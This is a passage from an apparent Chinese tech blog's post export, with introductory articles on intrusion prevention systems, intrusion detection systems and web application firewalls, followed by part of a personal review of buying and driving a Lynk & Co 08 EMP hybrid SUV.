主机入侵防御系统（HIPS）：通过在主机/服务器上安装软件代理程序，防止网络攻击入侵操作系统及应用程序，保护服务器的安全弱点不被不法分子所利用。 基于防护对象的分类： ● 应用入侵防御系统（AIPS）：专门针对应用层进行防护的入侵防御系统。 ● 数据库入侵防御系统（DBIPS）：专门针对数据库层进行防护的入侵防御系统。 基于技术原理的分类： ● 基于特征的入侵防御系统：通过匹配攻击特征来检测和防御攻击。 ● 基于行为的入侵防御系统：通过分析网络流量和行为来检测和防御攻击。 基于安全策略的分类： ● 主动防御系统：主动防御系统能够预防、检测并快速响应各种攻击，它通常包括防火墙、入侵检测系统、漏洞扫描器和其他安全组件。 ● 被动防御系统：被动防御系统主要用于监视和记录网络流量和活动，它通常包括网络监控工具、日志分析器和审计工具等。 以上分类方式并不是互斥的，有些IPS产品可能同时具备多种分类的特点。在实际应用中，需要根据具体需求选择适合的IPS产品。\n五、入侵防御与防火墙的区别 入侵防御与防火墙是两种不同的网络安全技术，它们在保护网络安全方面各有侧重。 防火墙主要是通过对网络流量进行过滤和阻止，来保护网络免受未经授权的访问和攻击。它是一种被动的防御方式，根据预设的规则对进出网络的数据包进行控制，只允许符合规则的数据包通过。防火墙可以阻止大多数已知的攻击，但对于一些新的、未知的攻击手段，防火墙可能无法进行有效防御。\n入侵防御则是一种更深入的防护方式，它通过对网络流量进行实时监控和分析，发现和阻止潜在的网络攻击行为。与防火墙相比，入侵防御具有更强的主动性和防御能力。它不仅可以检测和防御已知的攻击手段，对于一些未知的攻击，入侵防御系统也可以通过行为分析、深度包检测等技术手段进行检测和防御。此外，入侵防御系统还可以提供实时的检测和响应功能，一旦发现异常流量或攻击行为，可以立即采取相应的防御措施，如隔离、过滤等，从而降低网络受到攻击的风险。\n综上所述，防火墙主要是对网络流量进行过滤和阻止，以防止未经授权的访问和攻击；而入侵防御则通过对网络流量进行实时监控和分析，发现和阻止潜在的网络攻击行为，提供更深入的防护。在实际应用中，可以将防火墙和入侵防御系统结合使用，以实现对网络安全的全面保护。\n六、入侵防御系统的优势和局限性 入侵防御系统（IPS）的优势主要包括：\n实时阻断攻击：设备采用直路方式部署在网络中，能够在检测到入侵时，实时对入侵活动和攻击性网络流量进行拦截，将对网络的入侵降到最低。 深层防护：新型的攻击都隐藏在TCP/IP协议的应用层里，入侵防御能检测报文应用层的内容，还可以对网络数据流重组进行协议分析和检测，并根据攻击类型、策略等确定应该被拦截的流量。 全方位防护：入侵防御可以提供针对蠕虫、病毒、木马、僵尸网络、间谍软件、广告软件、CGI（Common Gateway Interface）攻击、跨站脚本攻击、注入攻击、目录遍历、信息泄露、远程文件包含攻击、溢出攻击、代码执行、拒绝服务、扫描工具、后门等攻击的防护措施，全方位防御各种攻击，保护网络安全。 内外兼防：入侵防御不但可以防止来自于企业外部的攻击，还可以防止发自于企业内部的攻击。系统对经过的流量都可以进行检测，既可以对服务器进行防护，也可以对客户端进行防护。 可扩展性：IPS可以提供可扩展的安全性，随着网络流量的增长，IPS可以相应地扩展其能力，以满足不断增长的安全需求。 然而，入侵防御系统也存在一些局限性：\n误报和漏报：IPS可能会误报或漏报某些正常流量或攻击流量，这可能导致正常业务流量被拦截或攻击流量被漏过。 处理能力：IPS需要处理大量的网络流量，因此需要高性能的处理能力来确保实时检测和拦截攻击。 部署复杂性：IPS的部署相对复杂，需要正确配置以确保其正常工作并发挥最佳效果。 无法防御未知威胁：IPS主要依赖于已知的威胁特征来检测和防御攻击，对于未知威胁的防御能力有限。 虽然入侵防御系统存在一些局限性，但在提供实时保护和深度防护方面具有显著优势。\n七、入侵防御系统的使用方式 入侵防御系统（IPS）通常通过串联部署在具有重要业务系统或内部网络安全性、保密性较高的网络出口处。\n八、入侵防御系统与其他安全设备的集成 入侵防御系统通过高效的集成引擎，实现流量分析、异常或攻击行为的告警及阻断、2～7层安全防护控制等功能，并可以可视化展示用户行为和网络健康状况。与入侵检测系统（IDS）相比，IPS不仅能检测入侵的发生，更能通过一定的响应方式，实时终止入侵行为的发生和发展，实时保护信息系统不受实质性的攻击。\n此外，IPS还可以提供DoS/DDoS检测及预防机制，辨别合法数据包与DoS/DDoS攻击数据包，保证企业在遭受攻击时也能使用网络服务。\n入侵防御系统（IPS）可以与其他多种安全设备集成，以提高整个网络的安全性。以下是一些常见的集成方式：\n与防火墙集成：防火墙是网络安全的基础设施，可以控制网络流量的进出。IPS可以与防火墙集成，利用防火墙的过滤功能，将恶意流量或攻击源阻断在外，从而降低网络受到攻击的风险。 与反病毒软件集成：反病毒软件可以对网络流量和文件进行病毒扫描和清除。IPS可以与反病毒软件集成，在检测到恶意流量或攻击时，及时清除其中的病毒，保护网络免受病毒的侵害。 与漏洞扫描器集成：漏洞扫描器可以对网络中的主机和设备进行漏洞扫描和风险评估。IPS可以与漏洞扫描器集成，在检测到漏洞或潜在的攻击时，及时提醒或修复漏洞，提高网络的安全性。 与日志分析工具集成：日志分析工具可以对网络设备、服务器和应用系统的日志进行分析和处理。IPS可以与日志分析工具集成，将检测到的异常行为和攻击记录到日志中，方便后续的分析和处理。 与安全事件管理（SIEM）系统集成：SIEM系统可以对各种安全设备和系统的日志进行收集、整合和分析。IPS可以与SIEM系统集成，将检测到的安全事件上报给SIEM系统，实现统一的安全事件管理和响应。 总的来说，入侵防御系统是一种能够防御防火墙所不能防御的深层入侵威胁的在线部署安全产品，是对防病毒软件和防火墙的补充。在实际应用中，可以根据具体需求和网络环境选择适合的集成方式，以提高整个网络的安全性。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-21-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E5%85%A5%E4%BE%B5%E9%98%B2%E5%BE%A1%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e由于网络安全威胁的不断演变和增长。随着网络技术的不断发展和普及，网络攻击的种类和数量也在不断增加，给企业和个人带来了巨大的安全风险。传统的防火墙、入侵检测防护体系等安全产品在面对这些威胁时，存在一定的局限性和不足，无法满足当前网络安全的需求。入侵防御系统(IPS)作为一种主动防御的解决方案应运而生。它可以实时检测和防御网络流量中的恶意攻击和威胁，通过串接的方式部署在网络中，对入侵行为进行实时阻断，从而极大地降低了入侵的危害。入侵防御系统（IPS）的出现弥补了传统安全产品的不足，为网络安全提供了更加全面和有效的防护方案。前面介绍了入侵检测系统（IDS）《\u003ca href=\"http://xiejava.ishareread.com/posts/e5ea6795/\"\u003e网络安全产品之认识入侵检测系统\u003c/a\u003e》，本文我们来认识一下入侵防御系统（IPS）。\u003c/p\u003e","title":"网络安全产品之认识入侵防御系统"},{"content":"随着计算机网络技术的快速发展和网络攻击的不断增多，单纯的防火墙策略已经无法满足对安全高度敏感的部门的需要，网络的防卫必须采用一种纵深的、多样的手段。因此，入侵检测系统作为新一代安全保障技术，成为了传统安全防护措施的必要、有效的补充。《安全防御之入侵检测与防范技术》介绍了入侵检测技术，今天让我们从入侵检测系统的工作原理、主要功能、主要类型及与入侵防御系统的关系与区别等方面认识入侵检测系统。\n一、什么是入侵检测系统 入侵检测系统（IDS，Intrusion Detection Systems）是一种网络安全技术，它主动保护自己免受攻击。IDS可以被视为防火墙的合理补充，帮助系统对付网络攻击，扩展了系统管理员的安全管理能力（包括安全审计、监视、攻击识别和响应），提高了网络安全基础结构的完整性。入侵检测即通过从网络系统中的若干关键节点收集并分析信息，监控网络中是否有违反安全策略的行为或者是否存在入侵行为。\n如果将防火墙比喻为一幢大楼的门锁，那么IDS就是这幢大楼里的监视系统。一旦小偷爬窗进入大楼，或内部人员有越界行为，只有实时监视系统才能发现情况并发出警告。在本质上，入侵检测系统是一个典型的“窥探设备”。它并不会影响网络性能，但能对网络进行监测，从而提供对内部攻击、外部攻击和误操作的实时保护。\n二、入侵检测系统的工作原理 入侵检测系统（IDS）实时监控网络活动的过程可以概括为以下几个步骤：\n数据采集：IDS首先通过部署在网络中的传感器或代理来收集网络流量数据。这些数据可以包括网络数据包、会话信息、系统日志等。IDS将这些数据收集到中央分析器或分布式处理节点进行处理。 数据预处理：在数据进入IDS之前，可能需要进行一些预处理操作，如数据清洗、格式转换、归一化等。这些操作有助于减少数据噪声和干扰，提高IDS的检测准确性。 入侵检测：IDS使用各种检测算法和规则来分析收集到的网络数据。这些算法和规则可以基于异常检测、误用检测或混合检测等原理。异常检测通过分析网络活动的统计特性，识别与正常行为模式偏离的活动；误用检测则通过匹配已知的攻击模式或签名来识别恶意行为。IDS将实时分析网络数据，并与预设的规则或模式进行比对，以判断是否存在入侵行为。 实时报警和响应：一旦IDS检测到潜在的入侵行为，它会立即触发报警机制，将相关信息发送给管理员或安全运营中心（SOC）。报警信息可以包括入侵类型、攻击源、目标系统等信息。管理员可以根据报警信息采取相应的响应措施，如隔离受影响的系统、收集证据、通知相关部门等。 为了实现实时监控，IDS通常采用实时处理引擎和高性能的数据分析技术，以应对高速网络流量和大量数据的挑战。此外，IDS还可以与防火墙、安全事件管理（SIEM）等其他安全组件集成，以提供更全面的安全防护和响应能力。\n三、入侵检测系统的主要功能 入侵检测系统（IDS）能够提供安全审计、监视、攻击识别和反攻击等多项功能，对内部攻击、外部攻击和误操作进行实时监控，在网络安全技术中起到了不可替代的作用。入侵检测系统（IDS）的主要功能包括：\n监控和分析系统网络的数据流量：IDS能够实时地监控网络中的数据流量，包括网络数据包、会话信息等，以发现潜在的攻击和异常行为。 检测潜在的攻击和异常行为：IDS使用各种检测算法和规则来分析网络数据，以发现与正常行为模式偏离的活动或已知的攻击模式，从而判断是否存在入侵行为。 提供事件记录流的信息源：IDS能够记录网络中的活动，并生成详细的事件日志，这些日志可以作为后续安全审计和事件响应的重要信息源。 发现入侵迹象的分析引擎：IDS内置了强大的分析引擎，能够对网络数据进行深度分析，发现隐藏的入侵迹象和攻击行为。 基于分析引擎的结果产生反应的响应部件：当IDS检测到入侵行为时，它可以触发响应机制，采取相应的措施来阻止攻击或减轻其影响，如隔离受影响的系统、通知管理员等。 IDS的目标是检测和防止对网络和系统的非法访问和恶意攻击，保护信息资源的机密性、完整性和可用性。IDS通常被部署在网络的关键位置，如网络入口、服务器区等，以实现对网络活动的全面监控和检测。\n入侵检测系统是一种对网络传输进行即时监视，在发现可疑传输时发出警报或者采取主动反应措施的网络安全设备。绝大多数IDS系统都是被动的。也就是说，在攻击实际发生之前，它们往往无法预先发出警报。如需要主动响应，需与防火墙联动，调用其他程序处理。\n四、入侵检测系统的主要类型 1、 基于主机的入侵检测系统（HIDS） 基于主机的入侵检测系统是早期的入侵检测系统结构，通常是软件型的，直接安装在需要保护的主机上。其检测的目标主要是主机系统和系统本地用户，检测原理是根据主机的审计数据和系统日志发现可疑事件。\n这种检测方式的优点主要有：信息更详细、误报率要低、部署灵活。这种方式的缺点主要有：会降低应用系统的性能；依赖于服务器原有的日志与监视能力；代价较大；不能对网络进行监测；需安装多个针对不同系统的检测系统。\n2、基于网络的入侵检测系统（NIDS） 基于网络的入侵检测方式是目前一种比较主流的监测方式，这类检测系统需要有一台专门的检测设备。检测设备放置在比较重要的网段内，不停地监视网段中的各种数据包，而不再是只监测单一主机。它对所监测的网络上每一个数据包或可疑的数据包进行特征分析，如果数据包与产品内置的某些规则吻合，入侵检测系统就会发出警报，甚至直接切断网络连接。目前，大部分入侵检测产品是基于网络的。\n这种检测技术的优点主要有：能够检测那些来自网络的攻击和超过授权的非法访问；不需要改变服务器等主机的配置，也不会影响主机性能；风险低；配置简单。其缺点主要是：成本高、检测范围受局限；大量计算，影响系统性能；大量分析数据流，影响系统性能；对加密的会话过程处理较难；网络流速高时可能会丢失许多封包，容易让入侵者有机可乘；无法检测加密的封包；对于直接对主机的入侵无法检测出。\n五、入侵检测系统的使用方式 作为防火墙后的第二道防线，适于以旁路接入方式部署在具有重要业务系统或内部网络安全性、保密性较高的网络出口处。需要注意的是，IDS只能提供有限的防御能力，它主要用于检测和报警，而不是直接阻止攻击。因此，在使用IDS时，应与其他安全设备（如防火墙、入侵防御系统等）结合使用，形成多层次、纵深的安全防护体系。同时，定期更新IDS的规则和参数，以适应不断变化的网络威胁和攻击手法也是非常重要的。\n六、入侵检测系统的局限性 入侵检测系统（IDS）在网络安全领域扮演着重要角色，但也存在一些局限性：\n误报和漏报：IDS在检测网络流量和异常行为时，可能会产生误报（将正常行为误判为攻击）或漏报（未能检测到实际的攻击行为）。这可能会给管理员带来不必要的困扰，或者导致真正的攻击被忽视。 无法弥补安全防御系统中的安全缺陷和漏洞：IDS作为一种被动防御手段，只能检测和报警，而无法直接修复或弥补网络系统中的安全缺陷和漏洞。因此，IDS需要与其他安全设备和措施（如防火墙、漏洞扫描器等）结合使用，形成多层次的安全防护体系。 对加密流量的限制：由于加密技术的广泛应用，许多网络流量都是加密传输的。IDS在检测这些加密流量时可能面临困难，因为无法直接获取和分析其中的内容。这可能会影响IDS的检测准确性和效率。 实时性挑战：随着网络速度的不断提升和数据量的急剧增加，IDS需要处理大量的网络流量和数据。这可能对IDS的实时性能提出挑战，导致检测延迟或漏报等问题。 依赖特征库和更新：许多IDS采用基于特征的检测方法，依赖于已知的攻击特征和签名数据库。然而，新的攻击手法和变种不断涌现，如果IDS的特征库未能及时更新，就可能导致无法检测到新的攻击。 管理和配置复杂性：IDS的配置和管理可能相对复杂，需要具备一定的专业知识和技能。不当的配置和管理可能导致IDS的性能下降或误报率增加。 尽管IDS在网络安全领域具有重要价值，但其局限性也需要充分认识和应对。通过与其他安全设备和措施结合使用、定期更新特征库、优化配置和管理等方式，可以最大限度地发挥IDS的作用，提高网络安全的整体防护水平。\n七、入侵检测系统弥补了防火墙的哪些不足 入侵检测系统（IDS）主要弥补了防火墙在以下方面的不足：\n主动检测入侵攻击：防火墙作为访问控制设备，无法主动检测或拦截嵌入到普通流量中的恶意攻击代码，如针对Web服务的注入攻击等。IDS能够主动对网络流量进行深度分析，检测并发现这些潜在的攻击行为。 内部网络保护：防火墙通常部署在网络边界处，难以有效监控内部网络中的攻击行为。IDS可以部署在内部网络中，对内部流量进行监控和分析，发现内部网络中的异常行为和潜在威胁。 实时防御能力：IDS能够在入侵攻击对网络系统造成危害前，及时检测到入侵攻击的发生，并进行报警和动态防御。通过与防火墙联动等方式，IDS可以实时地阻止攻击行为，提高网络的安全性。 事后取证分析：被入侵攻击后，IDS可以提供详细的攻击信息，包括攻击来源、攻击类型、攻击目标等，便于取证分析。这些信息有助于管理员了解攻击的全貌，为后续的安全防护提供有力支持。 IDS通过对网络流量进行深度分析，主动检测并防御网络攻击，有效弥补了防火墙在主动检测、内部网络保护、实时防御和事后取证分析等方面的不足，提高了网络的整体安全性。\n八、入侵检测系统（IDS）与入侵防御系统（IPS）的区别与关系 入侵检测系统（IDS）和入侵防御系统（IPS）都是网络安全领域的重要组件，它们之间存在一定的区别与关系。\n1、IDS与IPS的区别 工作原理：IDS是一种被动的监视设备，它主要通过分析网络流量来检测潜在的攻击和异常行为，并在发现威胁时发出警报。而IPS则是一种主动的防护设备，它不仅能够检测攻击，还能够根据预设的安全策略对恶意流量进行丢弃、阻断或重置，从而实时地中止入侵行为。 部署方式：IDS通常作为旁路监听设备部署在网络中，不需要跨接在任何链路上，也不会影响网络性能。而IPS则需要跨接在网络链路上，承担数据转发的功能，因此可能对网络性能产生一定的影响。 检测与处理能力：IDS主要采用基于签名、基于异常和基于安全策略的检测技术，对网络流量进行深度分析，识别出各种已知和未知的攻击行为。而IPS则主要使用基于签名的检测技术，对已知威胁的特征进行匹配，并进行相应的响应处理。此外，IPS还可以执行一些操作来阻止攻击，而IDS则主要侧重于检测和报警。 2、IDS与IPS的关系 IDS和IPS在网络安全防护中相互配合，共同提升网络的安全性。IDS通过对全网信息的分析，了解信息系统的安全状况，进而指导信息系统安全建设目标以及安全策略的确立和调整。而IPS则负责在发现攻击时实时地中止入侵行为，保护网络免受进一步的破坏。因此，IDS和IPS可以相互补充，形成更为完善的网络安全防护体系。\n总的来说，IDS的目标是检测和防止对网络和系统的非法访问和恶意攻击，保护信息资源的机密性、完整性和可用性。IDS通常被部署在网络的关键位置，如网络入口、服务器区等，以实现对网络活动的全面监控和检测。同时，IDS还可以与其他安全设备如防火墙、安全事件管理（SIEM）等进行联动，形成更为完善的网络安全防护体系。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-18-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B%E7%B3%BB%E7%BB%9F/","summary":"\u003cp\u003e随着计算机网络技术的快速发展和网络攻击的不断增多，单纯的防火墙策略已经无法满足对安全高度敏感的部门的需要，网络的防卫必须采用一种纵深的、多样的手段。因此，入侵检测系统作为新一代安全保障技术，成为了传统安全防护措施的必要、有效的补充。\u003ca href=\"http://xiejava.ishareread.com/posts/48309864/\"\u003e《安全防御之入侵检测与防范技术》\u003c/a\u003e介绍了入侵检测技术，今天让我们从入侵检测系统的工作原理、主要功能、主要类型及与入侵防御系统的关系与区别等方面认识入侵检测系统。\u003c/p\u003e","title":"网络安全产品之认识入侵检测系统"},{"content":"随着B/S架构的广泛应用，Web应用的功能越来越丰富，蕴含着越来越有价值的信息，应用程序漏洞被恶意利用的可能性越来越大，因此成为了黑客主要的攻击目标。传统防火墙无法解析HTTP应用层的细节，对规则的过滤过于死板，无法为Web应用提供足够的防护。为了解决上述问题，WAF应运而生。它通过执行一系列针对HTTP、HTTPS的安全策略，专门对Web应用提供保护。\n一、什么是WEB应用防火墙 Web应用防火墙（Web Application Firewall，简称WAF）是一种网络安全产品，主要用于增强对Web应用程序的控制和保护。是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一种设备。与传统防火墙不同，WAF工作在应用层，因此对Web应用防护具有先天的技术优势。基于对Web应用业务和逻辑的深刻理解，WAF对来自Web应用程序客户端的各类请求进行内容检测和验证，确保其安全性与合法性，对非法的请求予以实时阻断，从而对各类网站站点进行有效防护。\n二、WEB应用防火墙的主要功能 Web应用防火墙的主要功能：\n防止常见的Web漏洞：WAF可以防止常见的Web漏洞，如SQL注入、跨站脚本攻击（XSS）、文件包含漏洞等。通过检查HTTP请求和响应，WAF能够识别并阻止针对这些漏洞的攻击。 防止恶意输入：WAF能够检测并过滤掉恶意输入，从而防止应用程序受到攻击。它还可以对用户输入进行验证和过滤，以确保只有合法的输入被接受。 防止会话劫持：WAF可以防止会话劫持攻击，通过验证HTTP请求中的会话令牌来确保请求来自合法的用户。 防止DDoS攻击：WAF可以防止分布式拒绝服务（DDoS）攻击，这种攻击通过大量合法的请求来拥塞Web服务器，从而使其无法处理正常的请求。WAF可以通过限制来自同一IP地址的请求数量或识别异常流量模式来阻止DDoS攻击。 自定义规则：WAF通常提供自定义规则的功能，允许管理员根据自己的需求配置防火墙的行为。这使得管理员可以更加精确地控制Web应用程序的访问和行为。 日志和监控：WAF提供详细的日志记录功能，记录所有通过防火墙的请求和响应。管理员可以监控这些日志以检测异常行为或攻击，并采取适当的措施。 与其他安全产品集成：WAF可以与其他网络安全产品集成，如入侵检测系统（IDS/IPS）、反病毒软件等。这种集成可以提供更全面的安全防护，应对各种不同的威胁。 三、WEB应用防火墙的产品特点 WAF（Web应用防火墙）产品的特点主要包括以下几个方面:\n异常检测和防御：WAF会对HTTP的请求进行异常检测，拒绝不符合HTTP标准的请求。并且，它也可以只允许HTTP协议的部分选项通过，从而减少攻击的影响范围。甚至，一些Web应用防火墙还可以严格限定HTTP协议中那些过于松散或未被完全制定的选项。 输入验证：WAF可以增强输入验证，有效防止网页篡改、信息泄露、木马植入等恶意网络入侵行为，减小Web服务器被攻击的可能性。 安全规则库：WAF建立安全规则库，严格的控制输入验证，以安全规则来判断应用数据是否异常，如有异常直接阻断。以此来有效的防止网页篡改的可能性。 用户行为分析：WAF运用技术判断用户是否是第一次请求访问的，同时将请求重定向到默认的登陆页面并且记录该事件。以此来检测识别用户的操作是否存在异常，并且对达到阈值，触发规则的访问进行处理。 防御机制：WAF防御机制可以用来隐藏表单域保护，响应监控信息泄露或者被攻击时的提示，也可以规避入侵，爬虫等技术。 部署方式多样：WAF可以以硬件设备、软件产品、云服务等不同形式部署在网络中，以满足不同场景和需求。 高可用性和高性能：WAF可以提供高性能和低延迟，适用于高流量的Web应用程序。同时，它可以提供全球分布的节点，从而提高Web应用程序的可用性和性能。 弹性扩展和自动升级：云WAF通常具有弹性扩展、自动升级等优点，适用于高可用性和高性能的Web应用程序。 高安全性：WAF可以作为安全保障措施对各类网站站点进行有效的防护。 四、WEB应用防火墙的部署方式 与IPS设备部署方式类似，可以串联部署在web服务器等关键设备的网络出口处。主要有3种部署模式。\n透明网桥模式 透明网桥模式指在两台运行的设备中间插入WEB应用防火墙，但是对流量并不产生任何影响。在透明网桥模式下，Web应用防火墙阻断Wb应用层攻击，而让其他的流量通过。透明网桥模式是部署最为简便的方式。透明网桥模式是透明的，所以不会干预任何网络中的设备，如图所示。 WEB应用防火墙透明网桥模式部署\r单机模式 单机模式下，Web应用防火墙只要串入Web服务器的前端即可进行防护，同时并不影响Web服务器的其他应用，如图所示。 WEB应用防火墙单机模式部署\r旁路反向代理模式 旁路反向代理模式，可以将Web应用防火墙与Wb服务器置于内网的交换机下，访问Web服务器的所有请求都通过Web应用防火墙流入流出。WAF采用反向代理模式以旁路的方式接入到网络环境中，需要更改网络防火墙的目的映射表，网络防火墙映射WAF的业务口地址，将服务器的IP地址进行隐藏。然而，这种模式下，Web服务器无法获取访问者的真实IP，需要借助HTTP报文中设置相应的字段来表示访问者IP，这样需要修改原有的HTTP报文。如下图所示。 WEB应用防火墙旁路反向代理模式部署\r五、防火墙和WAF的关系和区别 防火墙和Web应用防火墙（WAF）都是网络安全产品，但它们的功能和用途有所不同。\n防火墙的主要作用是过滤网络流量，防止未经授权的访问和数据泄漏。它位于网络入口处，对所有进出的数据包进行检测，并根据预设的安全规则来允许或拒绝数据包通过。防火墙可以阻止恶意软件的传播、防止未经授权的访问和数据泄漏，从而保护网络资源的安全。\n而WAF是一种专门针对Web应用程序的防火墙，它部署在Web应用程序的前端，对所有进出的HTTP/HTTPS流量进行深度检测和防护。WAF能够识别并防御常见的Web漏洞和攻击，例如SQL注入、跨站脚本攻击（XSS）、文件包含漏洞等。它还可以防止常见的Web应用程序威胁，如恶意文件上传、远程命令执行等。WAF通过在应用程序层检测和过滤数据，为Web应用程序提供了更具体和针对性的保护。\n具体差异主要体现在以下几个方面：\n定位和部署：防火墙通常位于网络的入口处，用于保护整个网络的安全。它可以过滤网络流量，防止未经授权的访问和数据泄漏。而WAF通常部署在Web应用程序的前端，专门针对Web应用程序进行保护。 数据检测方式：防火墙主要在网络层检测数据包，并根据预设的安全规则来允许或拒绝数据包通过。而WAF则是在应用程序层检测HTTP/HTTPS流量，可以识别并防御常见的Web漏洞和攻击。 防御范围：防火墙可以防御各种网络威胁，包括恶意软件、未经授权的访问和数据泄漏等。而WAF则专注于保护Web应用程序的安全，防御常见的Web漏洞和攻击，如SQL注入、跨站脚本攻击（XSS）、文件包含漏洞等。 定制化和灵活性：WAF通常提供更具体的定制化和灵活性，允许管理员根据实际需求配置和设置规则，更加精准地控制Web应用程序的访问和行为。而防火墙通常有固定的安全规则和配置选项。 安全漏洞防御：WAF能够防御常见的Web安全漏洞和攻击，这些漏洞可能被黑客利用来攻击Web应用程序。而传统的防火墙可能无法识别和防御这些针对应用层的攻击。 防火墙和WAF都是网络安全的重要组成部分，但它们的定位和使用范围有所不同。防火墙主要用于保护整个网络的安全，而WAF则专注于保护Web应用程序的安全。在实际应用中，两者可以配合使用，共同增强网络的整体安全性。\n博客：http://xiejava.ishareread.com/\n关注：微信公众号,一起学习成长！\n","permalink":"http://xiejava.ishareread.com/posts/2024-01-15-%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E4%BA%A7%E5%93%81%E4%B9%8B%E8%AE%A4%E8%AF%86web%E5%BA%94%E7%94%A8%E9%98%B2%E7%81%AB%E5%A2%99/","summary":"\u003cp\u003e随着B/S架构的广泛应用，Web应用的功能越来越丰富，蕴含着越来越有价值的信息，应用程序漏洞被恶意利用的可能性越来越大，因此成为了黑客主要的攻击目标。传统防火墙无法解析HTTP应用层的细节，对规则的过滤过于死板，无法为Web应用提供足够的防护。为了解决上述问题，WAF应运而生。它通过执行一系列针对HTTP、HTTPS的安全策略，专门对Web应用提供保护。\u003c/p\u003e","title":"网络安全产品之认识WEB应用防火墙"},{"content":"一、选车经过 第一辆车是11年8月购入的奇瑞A3，1.6手动精英，开了十多年了，不得不说奇瑞的车真是皮实耐用。十二年12万公里了从来没有出过出现过大问题，就换过几次电池、换过雨刮器、右后门的电动车窗的升降机，4条胎换过一次，其他都没有换过。现在开起来还是非常好开，底盘扎实，操控性好，油耗在8、9个左右。唯一的不爽就是手动档在上比较大的陡坡的时候半坡起步乏力，常常要大脚轰油才能不溜坡不熄火。 在年初就立了个FLAG，计划两年内换车，目标是新能源混动车型。所以最近一两年都在看新能源的汽车。见《写给2025年的自己》\n因为是奇瑞的忠实客户，一开始就关注奇瑞的新能源，当时瑞虎8PLUS的PHEV出来的时候就准备开始下手的，结果网上瑞虎8PLUS的PHEV用户体验并不是特别好最初的800客户变成800勇士，虽然说后面问题都解决了的调校越来越好，但让我也不敢贸然下手了。后来看到奇瑞马上要推第二代混动CDM了，所以一直在关注奇瑞的瑶光的CDM和最近比较火的捷途旅行者的CDM，无赖等了又等迟迟不见上市。\n二、选择对比 目前国内新能源最火的莫过于比亚迪了，关注了比亚迪唐和比亚迪护卫舰07。\n在十二月长沙车展的时候逛了一圈，发现了在领克展台C位的领克08EMP，外观时尚科技，透发着低调的闷骚。接下来就是试驾，在期间我试驾了比亚迪护卫舰07、长安的深蓝S7和领克08EMP。对比下来，护卫舰07最大因为坐姿比较高开起来像开船，内饰中规中矩；深蓝S7是增程式的，内饰极简风格，没有仪表盘只有HUD有点不太适应；对比起来领克08EMP各方面都很均衡比深蓝S7稍大，看上去比护卫舰07小点，三台车都好开，但个人更喜欢领克08EMP底盘紧绷的感觉，外观内饰也是08EMP更符合自己的胃口。领克08EMP就它了！\n三、订车过程 开始购车前也是想到各个4S店去对比杀价，结果跑了一圈才知道领克现在是网销模式和其他通过4S代销不一样，全国统一价，根本就没得价可谈。 2023年12月24日在APP上下的大定，4000元订金，下完订单后就可以在APP上实时看到订单交付状态。 我选的是120版本液体灰的halo版，21.58万。12月的政策是厂家优惠6000，全款优惠2000，老车增购补贴4000。\n四、提车过程 2023年12月24日下的订单，4S店告诉我要等2-4周，结果26号就告诉我刚好来了现车可以提车了。看来领克销量不错，产能提升了。 提车的时候在4S店买了保险4441.85+交钱险950+4S店上牌500 现在1月份的政策是全款送魅族20pro的手机，后悔太冲动了，没多等几天。但是08很难不让人冲动。 提车过程很简单，充分相信领克的质量，都没有怎么仔细看，4S店服务人员讲解了一下如何使用，搞了一个小小的仪式就把车开回来了。\n五、用车感受 1、外观 领克的车设计感都很强，从01到09颜值都在线，相对来说我认为09的颜值差了一点。01和05的颜值最好看，08科技时尚，设计可圈可点，很有个性。正面的辨识度很高，无框车门帅得一B。颜值即正义的年代，颜值就是销量的保证。 有人说正面大灯看上去像蛤蟆，确实有点，但说实话一点不丑 08最好看的还是侧颜，立柱式的无边后视镜，原创度非常高，显得立体高级。 无边后视镜很大视野好颜值高 尾部贯穿式尾灯，还带点小造型和前面相呼应，晚上点量后非常漂亮，在锁车的时候有个流水灯效果仪式感满满。 液体灰，低调高级，远看车不显大，近看还是蛮大的。 2、内饰 内饰颇具小资情调，多彩氛围灯、深灰的Nappa真皮座椅很舒服，全车内部除了HUD部分其他都是软性材质的包裹，摸到的地方都是软的。\n座椅很软，包裹性很好，通风、加热、按摩都给配上了，尤其是四个座位都带了按摩，舒适性照顾到了所有人。\n仪表盘和中控大屏都很清晰，没有实体按键，车机很流畅，我的车机提车的时候就是1.2.0版本的，没有出现网上有人说的车机花屏的情况。语音控制非常好用，可以连续下达多个指令。\nHUD开始几天不太习惯，但用了几天后发现还是不错的。有人说HUD很糊，但是我感觉挺清楚的，我有250度的近视+散光，戴了眼镜后很清晰，一点都不糊。\n哈曼卡顿的音响效果杠杠的，有人说音响重音轰头，我想说的是，我要的就是这种效果，因为我是敲架子鼓的！整个音响环绕效果好给人身临其境的感觉。开车的时候一边听许巍的《像风一样的自由》一边踩着油门，所有的烦恼都抛到了脑后。\n3、行驶 因为不是专业试车的，谈不出太多专业感受。没有开过其他的豪车没有对比，我的A3的驾驶质感不错了，底盘紧绷，路感清晰，尤其是过坎的时候崩的一下很脆很舒服。08虽然是中型SUV开起来很舒服，底盘调校得很好，也很紧偏硬，方向盘大小适中，方向非常轻，会随着速度变重。由于车大轴距比较大，转弯半径有点大。\n智能巡航超级好用，提了车以后元旦就跑了一次高速来回300多公里，基本上全程开着智能巡航，手扶着方向盘不用想事了，但是时速超过100到120左右，会有明显的感觉是有一股力量在扯着不让跑那么快了，有点像车动力很足但有人在帮你踩刹车的感觉。现在我基本上是上下班堵车就开智能巡航，跟车走走停停由08去自动驾驶了，自己惬意的听着音乐根本就没有了堵车的烦恼。\n虽然是无框车窗，整车在行驶的过程中静谧性很好，由于是混动车大部分场景都是在用电，除了\u0026lt;30km/小时的低速状态有嗡嗡的警示音外基本没有其他声音。超级混动的模式下当发动机启动的时候还是可以感觉到有点声音但是不大。有时候挂停车P档发动机启动给电池充电的时候会有明显的感觉发动机的声音，车内还好，在车外听声音还有点大。跑高速噪音感觉除了反观镜的风噪和胎噪，发动机的